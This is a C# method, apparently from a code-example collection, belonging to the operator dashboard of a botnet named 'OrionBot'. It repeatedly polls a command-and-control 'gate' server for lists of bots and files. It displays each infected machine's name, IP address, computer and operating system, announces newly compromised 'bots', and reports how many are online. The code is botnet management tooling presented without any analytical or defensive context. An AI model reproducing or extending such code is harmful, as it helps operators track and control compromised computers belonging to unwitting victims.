Example #1
0
        public void UpdateData()
        {
            Client.Headers.Add("User-Agent", "OrionBot");
            while (true)
            {
                try
                {
                    string tabName = GetCurrentTabName();
                    if (tabName == "Page3")
                    {
                        string    s = Client.DownloadString(Properties.Settings.Default.GateLocation + "files");
                        ArrayList a = ParseFiles(s);
                        Invoke((MethodInvoker) delegate
                        {
                            int i = (fileView.SelectedItems.Count == 1) ? fileView.SelectedIndices[0] : -1;
                            fileView.Items.Clear();
                            foreach (string[] v in a)
                            {
                                fileView.Items.Add(new ListViewItem(v));
                            }
                            if ((fileView.Items.Count > i) && (i > -1))
                            {
                                fileView.Items[i].Selected = true;
                            }
                        });
                    }
                    else
                    {
                        string s = Client.DownloadString(Properties.Settings.Default.GateLocation + "bots");
                        sys = true;
                        int        t = 0, o = 0; //Total, Online
                        ServerData Data = ParseXml(s, ref t, ref o);
                        Invoke((MethodInvoker) delegate
                        {
                            for (int j = 0; j < botGrid.Rows.Count; j++)
                            {
                                DataGridViewRow row = botGrid.Rows[j];
                                int i = BotIndex(Data.Bots, row.Cells["idCol"].Value.ToString());
                                if (i > -1)
                                {
                                    var bot = (Dictionary <string, string>)Data.Bots[i];
                                    bool r  = row.Cells["ipCol"].Value.ToString() != bot["ip"];
                                    r       = r || row.Cells["statusCol"].Value != StatusImgs[Boolean.Parse(bot["last"]) ? 0 : 1];

                                    if (r)
                                    {
                                        row.Cells["statusCol"].Value = StatusImgs[Boolean.Parse(bot["last"]) ? 0 : 1];
                                        row.Cells["ipCol"].Value     = bot["ip"];
                                    }

                                    Data.Bots.RemoveAt(i);
                                }
                                else
                                {
                                    botGrid.Rows.RemoveAt(j);
                                    j--;
                                }
                            }
                            foreach (Dictionary <string, string> bot in Data.Bots)
                            {
                                int i = botGrid.Rows.Add();
                                DataGridViewRow row          = botGrid.Rows[i];
                                row.Cells["statusCol"].Value = StatusImgs[Boolean.Parse(bot["last"]) ? 0 : 1];
                                row.Cells["idCol"].Value     = bot["id"];
                                row.Cells["nameCol"].Value   = bot["name"];
                                row.Cells["ipCol"].Value     = bot["ip"];
                                row.Cells["compCol"].Value   = bot["comp"];
                                row.Cells["sysCol"].Value    = bot["sys"];
                            }
                            if (Data.Bots.Count != 0)
                            {
                                Notification Noti;
                                if (Data.Bots.Count == 1)
                                {
                                    var bot = (Dictionary <string, string>)Data.Bots[0];
                                    Noti    = new Notification("New bot",
                                                               "Name: " + bot["name"] + "\n" +
                                                               "Computer: " + bot["comp"] + "\n" +
                                                               "System: " + bot["sys"]);
                                }
                                else
                                {
                                    Noti = new Notification("New bots", Data.Bots.Count.ToString() + " new bots have been discovered.");
                                }
                                Noti.Show();
                            }
                            botsLabel.Text                 = "Number of bots:      " + t.ToString();
                            onlineLabel.Text               = o.ToString();
                            offlineLabel.Text              = (t - o).ToString();
                            uptimeLabel.Text               = "Server uptime:         " + TimeSpan.FromMilliseconds(Data.Stats["uptime"]).ToString("%h'h '%m'm '%s's'");
                            usersLabel.Text                = "Number of users:    " + Data.Stats["users"];
                            systemProgressBar.MaxValue     = Math.Max(1, t);
                            systemProgressBar.Value        = o;
                            systemProgressBar.LabelVisible = true;
                            int x             = NetworkAvailability(t, o);
                            networkLabel.Text = "Network availability\n";
                            switch (x)
                            {
                            case 0:
                                networkLabel.Text     += "Poor";
                                networkLabel.ForeColor = Color.FromArgb(255, 60, 0);
                                break;

                            case 1:
                                networkLabel.Text     += "Average";
                                networkLabel.ForeColor = Color.FromArgb(255, 132, 0);
                                break;

                            default:
                                networkLabel.Text     += "Great";
                                networkLabel.ForeColor = Color.FromArgb(77, 230, 0);
                                break;
                            }
                            x            = activityChart.Series[0].Points.Count;
                            bool refresh = true;//(x < 6);
                            if (refresh)
                            {
                                activityChart.Series[0].Points.Clear();
                                x = 0;
                                foreach (KeyValuePair <string, uint> k in Data.Stats)
                                {
                                    if (x < 2)
                                    {
                                        x++;
                                        continue;
                                    }
                                    DateTime np = new DateTime(1970, 1, 1).AddMilliseconds(double.Parse(k.Key)).ToLocalTime();
                                    activityChart.Series[0].Points.AddXY(np, k.Value);
                                }
                            }
                            updateLabel.Text = DateTime.Now.ToString("dd/MM/yyy HH:mm:ss");
                        });
                    }
                }
                catch (WebException e) when(e.Response is HttpWebResponse res)
                {
                    switch (res.StatusCode)
                    {
                    case HttpStatusCode.Unauthorized:
                        MessageBox.Show("Your session has expired.");
                        Invoke((MethodInvoker) delegate { Application.Restart(); });
                        break;
                    }
                }
                catch (WebException)
                {
                    sys = false;
                }
                Invoke((MethodInvoker) delegate
                {
                    systemLabel.Text      = sys ? "All systems operational" : "Systems down";
                    systemLabel.ForeColor = sys ? Color.FromArgb(77, 230, 0) : Color.FromArgb(255, 60, 0);
                });
                Thread.Sleep(Properties.Settings.Default.UpdateInterval * 1000);
            }
        }